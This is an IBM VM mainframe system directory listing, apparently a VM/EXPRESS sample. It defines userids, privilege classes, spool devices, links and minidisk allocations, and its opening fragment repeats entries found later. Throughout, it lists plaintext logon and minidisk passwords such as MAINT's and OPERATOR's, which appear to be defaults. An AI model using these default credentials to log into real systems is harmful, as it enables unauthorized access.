
MDISK 492 3380 664 011 VMPK01 MW RTSFOBJ WTSFOBJ MTSFOBJ

MDISK 494 3380 864 011 VMPK01 MW RTSFAUX WTSFAUX MTSFAUX

MDISK 496 3380 092 001 VMPK01 MW RIPCX WIPCSX MIPSX

MDISK 497 3380 492 007 VMPK04 MW RMAINT WMAINT

MDISK 59E 3380 875 010 VMPK01 MW ALL WMAINT MMAINT

MDISK 595 3380 682 031 VMPK01 MW RMAINT WMAINT MMAINT

MDISK 596 3380 713 021 VMPK01 MW RGCSAUX WGCSAUX MGCSAUX

*

USER OLTSEP NOLOG 1M 1M FG

ACCOUNT OLTSEP IBMCE

OPTION REALTIMER ECMODE

IPL 5FF

CONSOLE 01F 3215

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 19D 19D RR

MDISK 5FF 3380 000 885 CEPACK MR READ WRITE

*

USER OPERATNS NOLOG 1M 2M BCEG

ACCOUNT 13 SYSPROG

IPL CMS

CONSOLE 009 3215

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 19D 19D RR

LINK MAINT 19E 19E RR

MDISK 191 3380 154 001 VMSRES MR RIPCS WIPCS MIPCS

MDISK 193 3380 201 008 VMSRES MR RIPCS WIPCS MIPCS

*

USER OPERATOR OPERATOR 3M 16M ABCDEFG

ACCOUNT 2 OPERATOR

CONSOLE 009 3215 T MAINT

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 19D 19D RR

LINK MAINT 19E 19E RR

MDISK 191 3380 209 002 VMSRES MR ROPER WOPER MOPER

*

USER SYSDUMP1 NOLOG 1M 1M BG

ACCOUNT 16 SYSTEM

IPL CMS

CONSOLE 009 3215

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 19D 19D RR

LINK MAINT 19E 19E RR

MDISK 123 3380 000 885 VMSRES RR

MDISK 124 3380 000 885 VMPK01 RR

MDISK 127 3380 000 885 VMPK04 RR

MDISK 129 3380 000 885 PROFPK RR

MDISK 130 3380 000 885 SQLPK RR

*

USER TSAFVM NOLOG 4M 8M G

ACCOUNT 1 xxxxxx

OPTION MAXCONN 256 BMX ECMODE COMSRV ACCT CONCEAL REALTIMER

IUCV ALLOW

IUCV *CRM

IPL CMS PARM AUTOCR

CONSOLE 009 3215 A OPERATOR

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 19D 19D RR

LINK MAINT 19E 19E RR

LINK MAINT 492 192 RR

LINK MAINT 494 494 RR

MDISK 191 3380 675 002 VMPK01 MR

DEDICATE 300 4A0

*

========================================

****************************************

* 3380 SYSTEM DIRECTORY *

****************************************

*

* The virtual address 123 is critical since it is *

* used in DMKSYS, the directory, and the service en‑ *

* vironments of the Interactive Productivity Facil‑ *

* ity. Do not change this address. If you still want *

* to change it, remember it must be changed in *

* DMKSYS, all service environments, the 'DIRECTORY' *

* statement below, and in the 'MDISK' statements *

* found under the userid 'MAINT'. *

*

* NOTE: Remember these are only virtual addresses *

* not real addresses, so there is no need to change *

* them to match your hardware addresses. More in‑ *

* formation is contained in the system Installation *

* Guide.

*

****************************************

*

DIRECTORY 123 3380 VMSRES

*

****************************************

* EXPRESS STANDARD PROFILE FOR GENERAL PURPOSE USERIDS *

****************************************

*

PROFILE EXPPROF

IPL CMS PARM AUTOCR

CONSOLE 009 3215

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 19D 19D RR

LINK MAINT 19E 19E RR

*

****************************************

* 3380 SYSTEM RESERVED AREAS (NOT FOR MINIDISKS) *

****************************************

*

USER $ALLOC$ NOLOG

MDISK A01 3380 000 001 VMSRES R 03131808

MDISK A02 3380 000 001 VMGCS1 R 03131808

MDISK A05 3380 000 001 VMPK01 R 03131808

MDISK A06 3380 000 001 VMSTGE R 03131808

MDISK A07 3380 000 001 PROFPK R 03131808

MDISK A08 3380 000 001 SQLPK R 03131808

MDISK A09 3380 000 001 VMPK02 R 03131808

MDISK A0A 3380 000 001 EDMD01 R 03131808

*

USER $TEMP$ NOLOG

MDISK B01 3380 392 100 VMSRES R 03131808

MDISK B02 3380 392 100 VMPK01 R 03131808

*

USER $TDISK$ NOLOG

MDISK C01 3380 358 033 VMSRES R 03131808

MDISK C02 3380 492 022 VMPK01 R 03131808

*

USER $CPNUC$ NOLOG

MDISK D01 3380 001 005 VMSRES R 03131808

*

USER $DIRECT$ NOLOG

MDISK E01 3380 492 002 VMSRES R 03131808

*

USER $SAVSYS$ NOLOG

MDISK F01 3380 006 011 VMSRES R 03131808

MDISK F02 3380 012 060 VMPK01 R 03131808

*

USER $SYSERR$ NOLOG

MDISK F03 3380 019 002 VMSRES R 03131808

*

USER $SYSCKP$ NOLOG

MDISK F04 3380 391 001 VMSRES R 03131808

*

USER $SYSWRM$ NOLOG

MDISK F05 3380 017 002 VMSRES R 03131808

*

****************************************

* SYSTEM RELATED USERIDS *

****************************************

*

USER AUTOLOG1 AUTOLOG1 512K 1M ABCDEG

INCLUDE EXPPROF

ACCOUNT 2 SYSTEM

MDISK 191 3380 094 001 VMPK01 MR RAUTOLOG WAUTOLOG MAUTOLOG 03131808 *

USER CMSBATCH CMSBATCH 1M 2M G

ACCOUNT 3 SYSTEM

OPTION ACCT

IPL CMS PARM AUTOCR

CONSOLE 009 3215

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

MDISK 195 3380 095 002 VMPK01 MR RBATCH WBATCH MBATCH 03131808 *

USER CMSUSER CMSUSER 1M 3M G

INCLUDE EXPPROF

ACCOUNT 101 USER01

MDISK 191 3380 091 003 VMPK01 MR RCMS WCMS MCMS 03131808 *

USER EREP EREP 768K 2M FG

INCLUDE EXPPROF

ACCOUNT EREP IBMCE

LINK MAINT 201 192 RR

MDISK 191 3380 021 001 VMSRES WR READ WRITE 03131808 *

USER GCS GCS 5M 6M G

ACCOUNT GCS RECVM

OPTION ECMODE DIAG98

IPL GCS PARM AUTOLOG

CONSOLE 009 3215

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 19D 19D RR

LINK MAINT 595 595 RR

LINK MAINT 59E 59E RR

MDISK 191 3380 514 005 VMPK01 MR RGCS WGCS MGCS 03131808 *

USER IVPM1 IVPM1 3M 16M G

ACCOUNT ACT4 IVPM1

CONSOLE 009 3210

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 193 193 RR

LINK MAINT 194 194 RR

LINK MAINT 19D 19D RR

MDISK 191 3380 868 001 VMSRES WR READ WRITE 03131808 *

USER IVPM2 IVPM2 3M 4M G

ACCOUNT ACT5 IVPM2

CONSOLE 009 3210

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 193 193 RR

LINK MAINT 194 194 RR

LINK MAINT 19D 19D RR

MDISK 191 3380 869 001 VMSRES WR READ WRITE 03131808 *

USER MAINT CPCMS 6M 16M ABCDEFG

ACCOUNT 1 SYSPROG

OPTION ECMODE DIAG98

IPL CMS

IUCV *CCS P M 10

IUCV ANY P M 0

CONSOLE 009 3215

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

*

MDISK 123 3380 000 885 VMSRES MW RSYSRES WSYSRES MSYSRES 03131808 MDISK 124 3380 000 885 VMPK01 MW RSYSRES WSYSRES MSYSRES 03131808 MDISK 126 3380 000 885 VMSTGE MW RSYSRES WSYSRES MSYSRES 03131808 MDISK 127 3380 000 885 VMGCS1 MW RSYSRES WSYSRES MSYSRES 03131808 MDISK 129 3380 000 885 PROFPK MW RSYSRES WSYSRES MSYSRES 03131808 MDISK 130 3380 000 885 SQLPK MW RSYSRES WSYSRES MSYSRES 03131808 MDISK 131 3380 000 885 VMPK02 MW RSYSRES WSYSRES MSYSRES 03131808 *

* 19D ‑ Help files

* 39D ‑ Help files for NLS

* 19E ‑ CMS extension disk. Most program products go here

* 190 ‑ CMS nucleus and commands

* 191 ‑ MAINT work disk and system dependent files

* 193 ‑ CMS text / IPCS text / GCS interface texts

* 194 ‑ CP text files and Maclibs

* 196 ‑ HPO text files and Maclibs

* 201 ‑ EREP files

* 293 ‑ Aux and update files for CMS service

* 294 ‑ Aux and update files for CP service

* 295 ‑ CP/CMS EXPRESS/local service

* 296 ‑ HPO aux and update files for service

* 3A0 ‑ IPF online documentation

* 300 ‑ VM/IPF system support, administration and operation dialogs * 301 ‑ IPF VM/VSE feature files

* 31A ‑ Customer procedures and products not from VM/EXPRESS

* 310 ‑ Maclibs for VM/IPF

* 319 ‑ Some optional Program Products

* 393 ‑ CMS source

* 394 ‑ CP SOURCE

* 396 ‑ HPO source

* 492 ‑ TSAF

* 494 ‑ TSAF

* 496 ‑ IPCS service files

* 497 ‑ IPCS source files

* 59E ‑ GCS System disk extension

* 595 ‑ GCS object code

* 596 ‑ GCS service files

*

MDISK 19D 3380 308 025 VMSRES MW ALL WMAINT MMAINT 03131808 MDISK 39D 3380 333 025 VMSRES MW ALL WMAINT MMAINT 03131808 MDISK 19E 3380 245 147 VMPK01 MR RMAINT WMAINT MMAINT 03131808 MDISK 190 3380 494 037 VMSRES MW ALL WMAINT MMAINT 03131808 MDISK 191 3380 088 010 VMSRES MW RMAINT WMAINT MMAINT 03131808 MDISK 193 3380 061 027 VMSRES MW RMAINT WMAINT MMAINT 03131808 MDISK 194 3380 022 027 VMSRES MW RMAINT WMAINT MMAINT 03131808 MDISK 196 3380 684 016 VMSRES MW RMAINT WMAINT MMAINT 03131808 MDISK 201 3380 567 023 VMSRES MW RMAINT WMAINT MMAINT 03131808 MDISK 293 3380 590 027 VMSRES MW RCMSAUX WCMSAUX MCMSAUX 03131808 MDISK 294 3380 663 021 VMSRES MW RCPAUX WCPAUX MCPAUX 03131808 MDISK 295 3380 531 014 VMSRES MW RUSRMOD WUSRMOD MUSRMOD 03131808 MDISK 296 3380 072 019 VMPK01 MW RCPAUX WCPAUX MCPAUX 03131808 MDISK 3A0 3380 128 001 VMPK01 MR ALL WMAINT MMAINT 03131808 MDISK 300 3380 097 015 VMPK01 MR ALL WMAINT MMAINT 03131808 *MDISK 301 3380 001 049 EDMD01 MW ALL WMAINT MMAINT 03131808 MDISK 31A 3380 870 003 VMSRES MW ALL WMAINT MMAINT 03131808 MDISK 310 3380 112 016 VMPK01 MR ALL WMAINT MMAINT 03131808 MDISK 319 3380 617 015 VMSRES MW ALL WMAINT MMAINT 03131808 MDISK 393 3380 001 063 VMSTGE WR RMAINT WMAINT 03131808 MDISK 394 3380 064 076 VMSTGE WR RMAINT WMAINT 03131808 MDISK 396 3380 147 034 VMSTGE WR RMAINT WMAINT 03131808 MDISK 492 3380 195 011 VMPK01 MW RTSFOBJ WTSFOBJ MTSFOBJ 03131808 MDISK 494 3380 721 011 VMSRES MW RTSFAUX WTSFAUX MTSFAUX 03131808 MDISK 496 3380 782 001 VMPK01 MW RIPCX WIPCSX MIPSX 03131808 MDISK 497 3380 140 007 VMSTGE MW RMAINT WMAINT 03131808 MDISK 59E 3380 181 010 VMPK01 MW ALL WMAINT MMAINT 03131808 MDISK 595 3380 214 031 VMPK01 MW RMAINT WMAINT MMAINT 03131808 MDISK 596 3380 700 021 VMSRES MW RGCSAUX WGCSAUX MGCSAUX 03131808 *

* 29E ‑ 5748‑RC1 (PVM) ‑ 5748‑XP1 (RSCS V1) ‑ Update files

* 36E ‑ 5748‑RC1 PVM 191 disk

* 39E ‑ 5748‑RC1 (PVM) ‑ 5748‑XP1 (RSCS V1) ‑ Source files

* 49E ‑ 5748‑RC1 (PVM) ‑ 5748‑XP1 (RSCS V1) ‑ Text files

*

MDISK 29E 3380 785 007 VMPK01 MR RMAINT WMAINT MMAINT 03131808 MDISK 36E 3380 563 004 VMSRES RR RMAINT WMAINT MMAINT 03131808 MDISK 39E 3380 181 045 VMSTGE WR RMAINT WMAINT 03131808 MDISK 49E 3380 792 007 VMPK01 MR RMAINT WMAINT MMAINT 03131808 *

* 348 ‑ EP ‑ ACF/NCP ‑ NETVIEW ‑ ACF/VTAM ‑ ACF/SSP (VMFPARM DISK) *

MDISK 348 3380 001 002 VMGCS1 MR RMAINT WMAINT MMAINT 03131808 *

* 298 ‑ 5664‑280 VTAM 191

* 299 ‑ 5664‑280 VTAM Base disk

* 29A ‑ 5664‑280 VTAM Run disk

* 29B ‑ 5664‑280 VTAM Merge disk

* 29C ‑ 5664‑280 VTAM Zap disk

* 29D ‑ 5664‑280 VTAM Delta disk

*

MDISK 298 3380 005 009 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 299 3380 200 024 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 29A 3380 156 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 29B 3380 224 020 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 29C 3380 244 005 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 29D 3380 860 020 VMGCS1 MR RMAINT WMAINT MMAINT 03131808 *

* 33F ‑ 5664‑289 ACF/SSP Base disk

* 340 ‑ 5664‑289 ACF/SSP Delta disk

* 341 ‑ 5664‑289 ACF/SSP Merge disk

* 342 ‑ 5664‑289 ACF/SSP Zap disk

* 343 ‑ 5664‑289 ACF/SSP Run disk

*

MDISK 33F 3380 687 048 VMGCS1 MR RMAINT WMAINT MMAINT 03131808 MDISK 340 3380 830 010 VMGCS1 MR RMAINT WMAINT MMAINT 03131808 MDISK 341 3380 840 020 VMGCS1 MR RMAINT WMAINT MMAINT 03131808 MDISK 342 3380 249 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 343 3380 110 046 VMGCS1 MR RMAINT WMAINT MMAINT 03131808 *

* 352 ‑ 5735‑XXB (EP) ‑ 5668‑854 (ACF/NCP) Base disk

* 353 ‑ 5735‑XXB (EP) ‑ 5668‑854 (ACF/NCP) Delta disk

* 354 ‑ 5735‑XXB (EP) ‑ 5668‑854 (ACF/NCP) Merge disk

* 355 ‑ 5735‑XXB (EP) ‑ 5668‑854 (ACF/NCP) Run disk

* 356 ‑ 5735‑XXB (EP) ‑ 5668‑854 (ACF/NCP) Zap disk

*

MDISK 352 3380 259 066 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 353 3380 325 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 354 3380 335 020 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 355 3380 355 088 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 356 3380 443 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 *

* 349 ‑ 5735‑XXB (EP) ‑ 5668‑754 (ACF/NCP subset for 3720) VMFPARM DISK * 357 ‑ 5735‑XXB (EP) ‑ 5668‑754 (ACF/NCP subset for 3720) Base disk * 358 ‑ 5735‑XXB (EP) ‑ 5668‑754 (ACF/NCP subset for 3720) Delta disk * 359 ‑ 5735‑XXB (EP) ‑ 5668‑754 (ACF/NCP subset for 3720) Merge disk * 35A ‑ 5735‑XXB (EP) ‑ 5668‑754 (ACF/NCP subset for 3720) Zap disk * 35B ‑ 5735‑XXB (EP) ‑ 5668‑754 (ACF/NCP subset for 3720) Run disk *

MDISK 349 3380 003 002 VMGCS1 MR RMAINT WMAINT MMAINT 03131808 MDISK 357 3380 453 066 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 358 3380 519 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 359 3380 529 020 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 35A 3380 637 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 35B 3380 549 088 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 *

* 330 ‑ 5664‑204 NETVIEW Base disk

* 331 ‑ 5664‑204 NETVIEW Delta disk

* 332 ‑ 5664‑204 NETVIEW Merge disk

* 333 ‑ 5664‑204 NETVIEW Zap disk

* 334 ‑ 5664‑204 NETVIEW Run disk

*

MDISK 330 3380 735 095 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 331 3380 647 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 332 3380 657 020 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 333 3380 677 010 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 MDISK 334 3380 014 096 VMGCS1 WR RMAINT WMAINT MMAINT 03131808 *

* 29F ‑ 5664‑188 RSCSV2 Update files

* 39F ‑ 5664‑188 RSCSV2 User exits disk

* 49F ‑ 5664‑188 RSCSV2 Text disk

* 59F ‑ 5664‑188 RSCSV2 191 disk

*

MDISK 29F 3380 129 004 VMPK01 MR RMAINT WMAINT MMAINT 03131808 MDISK 39F 3380 799 004 VMPK01 MR RMAINT WMAINT MMAINT 03131808 MDISK 49F 3380 803 010 VMPK01 MR RMAINT WMAINT MMAINT 03131808 MDISK 59F 3380 208 006 VMPK01 MR RMAINT WMAINT MMAINT 03131808 *

* 322 ‑ 5664‑283 VM/IS

* 326 ‑ 5664‑283 VM/IS

* 34A ‑ 5668‑905 Graphical Display and Query Facility (GDQF)

* 346 ‑ 5668‑AAA Query Management Facility (QMF)

* 347 ‑ 5668‑AAA Query Management Facility (QMF)

* 360 ‑ 5664‑329 Contextual File Search (CFSearch/370)

* 361 ‑ 5664‑370 Display Write/370

* 363 ‑ 5668‑890 Font Library Service Facility (FLSF)

*

MDISK 322 3380 734 007 VMPK01 MR RMAINT WMAINT MMAINT 03131808 MDISK 326 3380 166 010 VMPK01 MR RMAINT WMAINT MMAINT 03131808 MDISK 34A 3380 164 052 VMSRES MR RMAINT WMAINT MMAINT 03131808 MDISK 346 3380 207 013 SQLPK MR RMAINT WMAINT MMAINT 03131808 MDISK 347 3380 220 023 SQLPK MR RMAINT WMAINT MMAINT 03131808 MDISK 360 3380 216 040 VMSRES MR RMAINT WMAINT MMAINT 03131808 MDISK 361 3380 768 027 VMSRES MR RMAINT WMAINT MMAINT 03131808 MDISK 363 3380 795 009 VMSRES MR RMAINT WMAINT MMAINT 03131808 *

USER OPERATNS OPERATNS 1M 2M BCEG

INCLUDE EXPPROF

ACCOUNT 13 SYSPROG

LINK MAINT 300 300 RR

LINK MAINT 193 192 RR

MDISK 191 3380 547 001 VMSRES MR RIPCS WIPCS MIPCS 03131808 MDISK 193 3380 256 008 VMSRES MR RIPCS WIPCS MIPCS 03131808 *

USER OPERATOR OPERATOR 3M 16M ABCDEFG

ACCOUNT 2 OPERATOR

IPL CMS PARM AUTOCR

CONSOLE 009 3215 T MAINT

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 19D 19D RR

LINK MAINT 19E 19E RR

LINK MAINT 300 300 RR

MDISK 191 3380 545 002 VMSRES MR ROPER WOPER MOPER 03131808 *

USER SYSDUMP1 SYSDUMP1 1M 1M BG

INCLUDE EXPPROF

ACCOUNT 16 SYSTEM

LINK MAINT 300 300 RR

MDISK 123 3380 000 885 VMSRES RR 03131808

MDISK 124 3380 000 885 VMPK01 RR 03131808

MDISK 126 3380 000 885 VMSTGE RR 03131808

MDISK 127 3380 000 885 VMGCS1 RR 03131808

MDISK 129 3380 000 885 PROFPK RR 03131808

MDISK 130 3380 000 885 SQLPK RR 03131808

MDISK 131 3380 000 885 VMPK02 RR 03131808

MDISK 191 3380 133 001 VMPK01 MR RSYSDUMP WSYSDUMP MSYSDUMP 03131808 *

USER TSAFVM TSAFVM 4M 8M G

ACCOUNT 1 XXXXXX

OPTION MAXCONN 256 BMX ECMODE COMSRV ACCT CONCEAL REALTIMER

IUCV ALLOW

IUCV *CRM

IPL CMS PARM AUTOCR

CONSOLE 009 3215 A OPERATOR

SPOOL 00C 2540 READER *

SPOOL 00D 2540 PUNCH A

SPOOL 00E 1403 A

LINK MAINT 190 190 RR

LINK MAINT 19D 19D RR

LINK MAINT 19E 19E RR

LINK MAINT 492 192 RR

LINK MAINT 494 494 RR

*DEDICATE 300 4A0

MDISK 191 3380 206 002 VMPK01 MR 03131808

*

USER VSEMAINT VSEMAINT 1M 4M BG

INCLUDE EXPPROF

ACCOUNT 211 DOSSYS

LINK MAINT 300 300 RR

*LINK MAINT 301 301 RR

MDISK 191 3380 632 004 VMSRES MR RVSEMAIN WVSEMAIN MVSEMAIN 03131808 *

USER VSEIPO VSEIPO 16M 16M G

*

* SAMPLE USERID TO RUN VSE/EXPRESS/IPO

*

ACCOUNT 203 VSEIPO

IPL 224

*OPTION ECMODE BMX REALTIMER VIRT=REAL MAXCONN 050 STF 370E OPTION ECMODE BMX REALTIMER MAXCONN 050

IUCV *CCS PRIORITY MSGLIMIT 050

CONSOLE 01F 3270

SPECIAL 401 3270

SPECIAL 402 3270

SPECIAL 403 3270

SPECIAL 404 3270

SPECIAL 405 3270

SPECIAL 406 3270

SPECIAL 407 3270

SPECIAL 408 3270

SPECIAL 409 3270

SPECIAL 40A 3270

SPECIAL 40B 3270

SPECIAL 40C 3270

SPECIAL 40D 3270

SPECIAL 40E 3270

SPECIAL 40F 3270

SPECIAL 410 3270

SPECIAL 411 3270

SPECIAL 412 3270

SPECIAL 413 3270

SPECIAL 414 3270

SPECIAL 415 3270

SPECIAL 416 3270

SPECIAL 417 3270

SPECIAL 418 3270

SPECIAL 419 3270

SPECIAL 41A 3270

SPECIAL 41B 3270

SPECIAL 41C 3270

SPECIAL 41D 3270

SPECIAL 41E 3270

SPECIAL 41F 3270

SPOOL 00C 3505 A

SPOOL 00D 3525 A

SPOOL 00E 3203 A

SPOOL 05D 3525 A

SPOOL 05E 1403 A

DEDICATE 300 400

DEDICATE 080 080

LINK MAINT 190 190 RR

LINK MAINT 19E 19E RR

LINK VSEMAINT 191 191 RR

* 3380 SYSTEM

*MDISK 150 3380 000 885 DOSRES MR VSEIPO VSEIPO

*MDISK 151 3380 000 885 SYSWK1 MR VSEIPO VSEIPO

*MDISK 152 3380 000 885 SYSWK2 MR VSEIPO VSEIPO

* 3375 SYSTEM

*MDISK 140 3375 000 959 DOSRES MR VSEIPO VSEIPO

*MDISK 141 3375 000 959 SYSWK1 MR VSEIPO VSEIPO

*MDISK 142 3375 000 959 SYSWK2 MR VSEIPO VSEIPO

* FB‑512 SYSTEM

*MDISK 240 FB‑512 00000 558000 DOSRES MR VSEIPO VSEIPO

*MDISK 241 FB‑512 00000 558000 SYSWK1 MR VSEIPO VSEIPO

*MDISK 242 FB‑512 00000 558000 SYSWK2 MR VSEIPO VSEIPO

* 3350 SYSTEM

MDISK 220 3350 000 555 SYSWKB MR VSE220 VSE0WO

MDISK 222 3350 000 555 SYSWK2 MR VSE222 VSE2WO

MDISK 223 3350 000 555 SYSWK4 MR VSE223 VSE3WO

MDISK 224 3350 000 555 DOSRES MR VSE224 VSE4WO

MDISK 225 3350 000 555 SYSWK1 MR VSE225 VSE5WO

* 3380 SYSTEM

MDISK 200 3380 000 885 SYSWKA MR VSE219 VSEAWO

*

USER ROUTER ROUTER 512K 2M G 64 ON ON ON ON

INCLUDE EXPPROF

ACCOUNT 46 ROUTER

MDISK 191 3380 636 003 VMSRES MR RROUTER WROUTER MROUTER 03131808 *

USER AP2SVP AP2SVP 512K 8M EG 64 ON ON ON ON

*

* 5668899 APL2 SERVICE MACHINE

*

INCLUDE EXPPROF

ACCOUNT 9999 APL2‑SVP

MDISK 191 3380 731 003 VMPK01 MR RAP2SVP WAP2SVP MAP2SVP 03131808 *

USER APL2PP APL2PP 3M 16M BEG 64 ON ON ON ON

*

* 5668899 APL2

*

INCLUDE EXPPROF

ACCOUNT 9999 I5668899

MDISK 191 3380 264 044 VMSRES MR ALL WAPL2PP 03131808 *

USER VMASSYS VMASSYS 16M 16M EG 64 ON ON ON ON

*

* 5767032 AS

*

INCLUDE EXPPROF

ACCOUNT 15 SYSTEM

LINK ISPVM 192 192 RR

LINK SQLDBA 195 195 RR

MDISK 191 3380 569 018 VMPK01 MR RVMASSYS WVMASSYS INSTALL 03131808 MDISK 391 3380 587 095 VMPK01 MR RVMASSYS WVMASSYS SYSTEM 03131808 MDISK 392 3380 682 005 VMPK01 MR RVMASSYS WVMASSYS TEST 03131808 MDISK 393 3380 687 026 VMPK01 MR RVMASSYS WVMASSYS IPCS 03131808 *

USER VMASMON VMASMON 2M 2M G 64 ON ON ON ON

*

* 5767032 AS

*

INCLUDE EXPPROF

ACCOUNT 15 SYSTEM

OPTION MAXCONN 20

IUCV ALLOW

LINK VMASSYS 191 390 RR

LINK VMASSYS 391 391 RR

MDISK 191 3380 567 002 VMPK01 MR RVMASMON WVMASMON MVMASMON 03131808 *

USER VMASTEST VMASTEST 2M 2M G 64 ON ON ON ON

*

* 5767032 AS

*

INCLUDE EXPPROF

ACCOUNT 15 SYSTEM

LINK VMASSYS 391 391 RR

LINK VMASSYS 392 392 RR

MDISK 191 3380 713 018 VMPK01 MR RVMASTES WVMASTES MVMASTES 03131808 *

USER BATCH BATCH 2M 2M ABEG 64 ON ON ON ON

*

* 5664364 VM BATCH FACILITY

*

INCLUDE EXPPROF

ACCOUNT 999

IUCV ALLOW

OPTION BMX MAXCONN 256

MDISK 191 3380 741 003 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH 03131808 MDISK 193 3380 744 020 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH 03131808 MDISK 194 3380 764 003 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH 03131808 MDISK 199 3380 767 002 VMPK01 RR RVMBATCH WVMBATCH MVMBATCH 03131808 MDISK 195 3380 769 002 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH 03131808 *

USER BATCH1 BATCH1 2M 4M G 64 ON ON ON ON

*

* 5664364 VM BATCH FACILITY TEST USERID

*

INCLUDE EXPPROF

ACCOUNT 999

MDISK 191 3380 771 005 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH 03131808 *

USER BATCH2 BATCH2 2M 4M G 64 ON ON ON ON

*

* 5664364 VM BATCH FACILITY TEST USERID

*

INCLUDE EXPPROF

ACCOUNT 999

MDISK 191 3380 776 005 VMPK01 MR RVMBATCH WVMBATCH MVMBATCH 03131808 *

* USER CSPUSER CSPUSER 2M 4M G 64 ON ON ON ON

*

* 5668814 CSP

*

* INCLUDE EXPPROF

* ACCOUNT 101

* MDISK 191 3380 134 032 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER 03131808 * MDISK 193 3380 519 008 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER 03131808 * MDISK 502 3380 527 020 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER 03131808 * MDISK 503 3380 547 020 VMPK01 MR RCSPUSER WCSPUSER MCSPUSER 03131808 *

USER CVIEW CVIEW 2M 2M G 64 ON ON ON ON

*

* 5664296 CVIEW

*

INCLUDE EXPPROF

ACCOUNT 15 SYSTEM

OPTION BMX

LINK MAINT 193 193 RR

MDISK 191 3380 732 004 VMSRES MR RCVIEW WCVIEW 03131808 *

USER DIRMAINT DIRMAINT 1M 2M BG 64 ON ON ON ON

*

* 5748XE4 DIRMAINT

*

INCLUDE EXPPROF

ACCOUNT 7 SYSADMIN

OPTION REALTIME ECMODE

MDISK 191 3380 191 004 VMPK01 MR RDIRMAIN WDIRMAIN MDIRMAIN 03131808 MDISK 193 3380 001 009 VMPK01 MR RDIRMAIN WDIRMAIN MDIRMAIN 03131808 MDISK 195 3380 049 009 VMSRES MR RDIRMAIN WDIRMAIN MDIRMAIN 03131808 MDISK 294 3380 844 004 VMPK01 MR RDIRMAIN WDIRMAIN MDIRMAIN 03131808 MDISK 394 3380 226 019 VMSTGE MR RDIRMAIN WDIRMAIN MDIRMAIN 03131808

MDISK 123 3380 000 885 VMSRES MW 03131808

*

USER DATAMOVE DATAMOVE 1M 1M G 64 ON ON ON ON

*

* 5748XE4 DATAMOVE MACHINE

*

INCLUDE EXPPROF

ACCOUNT 5 SYSADMIN

OPTION ACCT ECMODE

LINK DIRMAINT 191 193 RR

LINK MAINT 193 192 RR

MDISK 191 3380 178 003 VMPK01 MR RDATAMOV WDATAMOV MDATAMOV 03131808 *

USER FSFCNTRL FSFCNTRL 2M 16M ABG 64 ON ON ON ON

*

* 5798DMY FILE STORAGE CONTROL MACHINE

*

INCLUDE EXPPROF

ACCOUNT 999

OPTION ECMODE BMX MAXCONN 256

IUCV ALLOW PRIORITY MSGLIMIT 255

LINK FSFADMIN 192 198 RR

